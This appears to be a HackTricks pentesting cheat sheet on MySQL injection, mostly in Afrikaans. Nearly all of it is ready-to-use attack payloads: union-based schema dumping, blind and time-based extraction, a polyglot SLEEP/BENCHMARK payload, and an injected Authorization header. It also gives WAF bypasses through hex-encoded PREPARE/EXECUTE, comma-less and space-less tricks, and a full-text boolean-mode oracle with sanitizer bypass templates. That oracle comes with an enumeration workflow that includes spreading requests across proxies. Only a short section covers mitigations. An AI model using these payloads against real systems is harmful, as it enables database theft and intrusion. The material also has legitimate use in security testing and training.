MySQL injection

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opmerkings

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funksies

Bevestig Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nuttige funksies

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

van https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Vloei

Onthou dat in "moderne" weergawes van MySQL kan jy "information_schema.tables" vir "mysql.innodb_table_stats" vervang (Dit kan handig wees om WAFs te omseil).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Slegs 1 waarde

  • group_concat()
  • Limit X,1

Blind een vir een

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind toevoeging

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Bepaal aantal kolomme

Deur 'n eenvoudige ORDER te gebruik

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Leer hier verskeie opsies om abuse a Mysql injection to obtain a SSRF.

WAF bypass truuks

Queries uitvoer via Prepared Statements

Wanneer stacked queries toegelaat word, kan dit moontlik wees om WAFs te omseil deur aan 'n veranderlike die hex-voorstelling van die query wat jy wil uitvoer toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL statements te gebruik om uiteindelik die query uit te voer. Iets soos dit:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Vir meer inligting verwys asseblief na this blog post.

Information_schema alternatiewe

Onthou dat in "moderne" weergawes van MySQL jy information_schema.tables kan vervang met mysql.innodb_table_stats of met sys.x$schema_flattened_keys of met sys.schema_table_statistics

MySQLinjection sonder kommas

Kies 2 kolomme sonder om enige komma te gebruik (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Waardes terugkry sonder die kolomnaam

As jy op 'n stadium die naam van die tabel ken, maar nie die name van die kolomme daarin nie, kan jy probeer uitvind hoeveel kolomme daar is deur iets soos die volgende uit te voer:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

As daar 2 kolomme is (waarvan die eerste die ID is) en die ander die flag, kan jy probeer om die inhoud van die flag karakter vir karakter te bruteforce:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Meer inligting by https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Sommige toepassings saneer of ontleed gebruikersinvoer met funksies soos sscanf("%128s", buf) wat by die eerste spasiekarakter ophou. Omdat MySQL die sekwensie /**/ beide as kommentaar en as whitespace beskou, kan dit gebruik word om normale spasies uit die payload heeltemal te verwyder terwyl die query sintakties geldig bly.

Example time-based blind injection bypassing the space filter:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Wat die databasis ontvang as:

sql
' OR SLEEP(5)-- -'

Dit is veral handig wanneer:

  • Die beheerbare buffer is beperk in grootte (bv. %128s) en spasies sal die invoer voortydig beëindig.
  • Inspuiting deur HTTP-headers of ander velde waar gewone spasies verwyder word of as skeiers gebruik word.
  • Gekombineer met INTO OUTFILE primitives om volle pre-auth RCE te bereik (sien die MySQL File RCE-afdeling).

MySQL geskiedenis

Jy kan ander uitvoerings binne MySQL sien deur die tabel te lees: sys.x$statement_analysis

Weergawe alternatiefs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator misbruik (WOR)

Dit is nie 'n klassieke SQL injection nie. Wanneer ontwikkelaars gebruikersinvoer in MATCH(col) AGAINST('...' IN BOOLEAN MODE) plaas, voer MySQL 'n ryk stel Boolean-soekoperateurs binne die aanhalingsteken-string uit. Baie WAF/SAST-reëls fokus slegs op quote breaking en mis hierdie oppervlak.

Key points:

  • Operateurs word binne die aanhalingstekens geëvalueer: + (moet insluit), - (moet nie insluit nie), * (trailing wildcard), "..." (presiese frase), () (groepering), </>/~ (gewigte). Sien MySQL docs.
  • Dit maak teenwoordigheid/afwesigheid en voorvoegsel-toetse moontlik sonder om uit die string-literal te breek, bv. AGAINST('+admin*' IN BOOLEAN MODE) om te kontroleer of enige term met admin begin.
  • Nuttig om orakels te bou soos “bevat enige ry 'n term met voorvoegsel X?” en om verborge stringe te enumereer via voorvoegsel-uitbreiding.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

As die toepassing verskillende antwoorde teruggee afhangend daarvan of die resultaatstel leeg is (bv. omleiding vs. foutboodskap), word daardie gedrag 'n Boolean oracle wat gebruik kan word om privaat data te enumereer, soos verborge of verwyderde titels.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: as die backend 1–2 laaste karakters per woord afknip via 'n regex soos (\b.{1,2})(\s)|(\b.{1,2}$), stuur prefix*ZZ. Die cleaner knip die ZZ af maar laat die * staan, sodat prefix* oorbly.
  • Early-break stripping: as die kode operateurs per woord verwyder maar ophou verwerk wanneer dit enige token met lengte ≥ min lengte vind, stuur twee tokens: die eerste is 'n rommeltoken wat aan die lengtedrempel voldoen, die tweede dra die operator-payload. Byvoorbeeld: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Enumerasie-werkvloei:

  1. Begin met {FUZZ} = a…z,0…9 om eerste-letter matches te vind via +a*, +b*, …
  2. Vir elke positiewe prefix, tak uit: a* → aa* / ab* / …. Herhaal om die hele string te herstel.
  3. Versprei requests (proxies, multiple accounts) as die app flood control afdwing.

Waarom titels dikwels leak terwyl contents nie:

  • Sommige apps pas sigbaarheidskontroles eers toe ná ’n voorlopige MATCH op titels/subjects. As control-flow afhang van die “any results?” uitkoms voor filtering, gebeur existence leaks.

Mitigasies:

  • As jy nie Boolean logic nodig het nie, gebruik IN NATURAL LANGUAGE MODE of hanteer user input as ’n literal (escape/quote deaktiveer operators in ander modes).
  • As Boolean mode vereis is, verwyder of neutraliseer alle Boolean operators (+ - * " ( ) < > ~) vir elke token (geen vroeë onderbrekings nie) ná tokenization.
  • Pas sigbaarheid-/authorization filters toe voor MATCH, of verenig responses (konstante timing/status) wanneer die result set leeg vs. nie-leeg is.
  • Hersien ooreenstemmende funksies in ander DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS parse ook operators binne gequote argumente.

Notes:

  • Prepared statements beskerm nie teen semantiese misbruik van REGEXP of search operators nie. ’n Input soos .* bly ’n permissive regex selfs binne ’n gequote REGEXP '.*'. Gebruik allow-lists of eksplisiete guards.

Other MYSQL injection guides

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks